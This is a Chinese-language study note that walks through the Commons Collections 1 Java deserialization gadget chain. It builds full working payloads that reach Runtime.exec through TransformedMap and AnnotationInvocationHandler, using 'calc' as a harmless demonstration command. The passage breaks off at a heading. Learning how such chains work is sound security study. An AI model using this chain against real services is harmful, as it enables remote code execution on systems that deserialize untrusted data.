Java反序列化漏洞：Commons Collections 1 学习笔记
前置知识
分析Transformer接口及其实现类。
ConstantTransformer：构造函数传入一个对象，调用transform()方法时，不管输入是什么，都返回构造函数ConstantTransformer()传入的对象。
// ConstantTransformer构造函数及transform()函数public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn;} public Object transform(Object input) { return iConstant;}
ChainedTransformer：自动对transformers数组中每一个元素transformers[i]调用transform()，前一个的输出作为后一个的输入，链式调用transform()方法。
// ChainedTransformer构造函数及transform()函数public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers;} public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object;}
InvokerTransformer：相当于重新实现了反射，构造函数传入方法名、参数类型、参数。transform()传入对象，进行反射调用。
// InvokerTransformer构造函数及transform()函数public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args;} // InvokerTransformer的transform()方法public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); }}
三种方式弹出计算器
// 正常弹计算器Runtime.getRuntime().exec("calc"); // 反射调用计算器// 获取一个Runtime的对象Runtime r = Runtime.getRuntime();// 获取Runtime类Class c = Runtime.class;// 获取Runtime类的exec()方法，（方法名，参数类型）Method execMethod = c.getMethod("exec", String.class);// 反射调用exec弹计算器，（对象，参数）execMethod.invoke(r,"calc"); /*InvokerTransformer调用计算器相当于重新实现了反射，把上面的反射调用后两行写成一行*/Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
构造调用链
调用链构造原则：找调用关系要找不同名的方法，如果找到同名，再通过find usages得到的还是一样的结果。最终还是得找不同的方法才能跳转。
哪里调用了transform()：checkSetValue()-->transform()
发现了InvokerTransformer类中的transform()方法是危险方法，从后往前找，找哪个类的不同方法里面调用了transform()。
找到InvokerTransformer类中的transform()，右键，点 Find Usages，找函数调用关系，最好找不同名的方法，调用了transform()。因为transform()调用transform()不能换到别的方法里，没有意义。
最后的目标是回到readObject()里，比如LazyMap类中的get()方法调用了transform()，再接着去找谁又调用了get()。如果有一个类的readObject()调用了get()，那我们就可能找到了调用链。
最终选择TransformedMap这个类，因为TransformedMap类中有好几处都调用了transform()。
找到TransformedMap类中checkSetValue()中调用了valueTransformer.transform(value);
protected Object checkSetValue(Object value) { return valueTransformer.transform(value);}
看一下valueTransformer是什么，在TransformedMap的构造函数中可以对valueTransformer赋值。
构造函数的参数：传入一个Map和两个Transformer。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer;}
TransformedMap的构造函数属性是protected，只能在类内调用。
因此找一下哪里调用TransformedMap()构造函数。
找到decorate()调用了 TransformedMap()。
调用decorate()相当于调用了构造函数。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);}
构造checkSetValue()中的valueTransformer，因为要通过InvokerTransformer反射调用计算器，所以要让valueTransformer = invokerTransformer，invokerTransformer为InvokerTransformer类的一个对象。
在构造函数中可以进行valueTransformer的赋值，但是TransformedMap的构造函数不能直接调用（属性为protected），间接通过decorate()来给valueTransformer赋值。
现在valueTransformer = invokerTransformer
// 实例化一个InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一个map ，传入decorate（）中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);
哪里调用了checkSetValue():setValue()-->checkSetValue()
在AbstractInputCheckedMapDecorator类中的setValue()中调用了checkSetValue()。
AbstractInputCheckedMapDecorator类是TransformedMap的父类。
AbstractInputCheckedMapDecorator类的setValue()重写了Map.Entry类中的setValue()。
直接调用setValue()，可以弹出计算器。
// 实例化一个InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一个map ，传入decorate（）中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);for(Map.Entry entry : transforedMap.entrySet()){ entry.setValue(r);}
哪里调用了setValue():readObject()-->setValue()
AnnotationInvocationHandler类中的readObject()方法中调用了setValue()。
AnnotationInvocationHandler类中的readObject()方法：
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }}AnnotationInvocationHandler(Classextends Annotation> type, Map<String, Object> memberValues) { Class[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues;}
看AnnotationInvocationHandler类的构造函数，发现构造函数的参数中可以传入Map，那这个Map就是我们完全可以控制的，因为在构造函数里面。
所以我们就可以把我们构造好的TransformedMap放进去，需要注意类属性不是public，为default类型，只有在sun.reflect.annotation包底下才能访问到，因此必须通过反射去获取，不能直接获取。
同时构造函数也是default类型，需要用getDeclaredConstructor()来获取构造函数。
// 获取类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例，随便写一个常用的注解（Override）Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
payload1
// 此处的Runtime 对象 r 是不能序列化的Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){ entry.setValue(r);}*/// 获取类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
从已注释的for循环可以看到，我们调用setValue(r)需要传入r
目前payload的几个问题：
问题1、setValue()中我们需要传入Runtime的对象r，而AnnotationInvocationHandler类中的setValue()中的参数还无法控制。
问题2、Runtime类没有继承Serializable接口，不能序列化/反序列化。
问题2解决：
Runtime类不能序列化，而Class类可以序列化
Runtime r = Runtime.getRuntime();不能序列化
Class c = Runtime.class;可以序列化
正常的反射调用
// 正常的反射调用// 获取Runtime的class对象 Class c = Runtime.class;// 获取getRuntime方法 （函数名，参数类型）无参方法，参数类型写null Method getRuntimeMethod = c.getMethod("getRuntime", null);// 获取到Runtime的对象r// 第一个参数表示在那个对象调用，getRuntime()为static方法，所以为null// 第二个参数表示方法的参数，没有参数，所以为null Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);// 获取exec方法 Method execMethod = c.getMethod("exec", String.class);// 调用exec，（对象，参数） execMethod.invoke(r, "calc");
改成InvokerTransformer(方法名， 参数类型， 参数)
/* 改写成InvokerTransformer(方法名， 参数类型， 参数)，链式调用// 相当于// Class c = Runtime.class;// Method getRuntimeMethod = c.getMethod("getRuntime", null); 获取getRuntime方法，相当于在Runtime.class上调用getMethod()方法，参数为getRuntime,参数类型为null*/ Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);// 获取Runtime对象 Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
改成ChainedTransformer的形式
//改成ChainedTransformer的形式// 构造transformers 数组Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class); // 调试的时候要注释掉
上面的payload中，只有Runtime.class是我们可以控制的。
payload2，解决了问题2，还不能执行成功。
// 此处的Runtime 对象 r 是不能序列化的，需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){ entry.setValue(r);}*/// 获取类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
问题3、AnnotationInvocationHandler类中的readObject()中的for循环中有两个if判断需要满足。
问题3解决
分析：
1、可能没进入if判断。
2、后面的setValue()括号中的new AnnotationTypeMismatchExceptionProxy()是我们不能控制的。
第一个if:
调试：下断点运行，发现Override.class中是空的，getKey()得到的是null，进不去第一个if判断。
public @interface Override {}for (Map.Entry memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); // 因为Override里面是空实现，所以memberType为null Class memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } }}
把
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap);
改成
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap);
注解Target中是有参数的。
public @interface Target { /** * Returns an array of the kinds of elements an annotation type * can be applied to. * @return an array of the kinds of elements an annotation type * can be applied to */ ElementType[] value();}
第二个if（直接可以进入，不需要构造）：
1、memberType能不能强转成value
2、value是不是ExceptionProxy类的实例
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
问题1解决：
使用ConstantTransformer()。
ConstantTransformer：不管输入是什么，调用transform()方法时，都返回构造函数输入的值。
payload3：
// 此处的Runtime 对象 r 是不能序列化的，需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();// 第一个值要与所选注解中的参数对应，Target中的参数为value，所以第一个参数要改为valuemap.put("value","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){ entry.setValue(r);}*/// 获取类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
正向调用顺序：
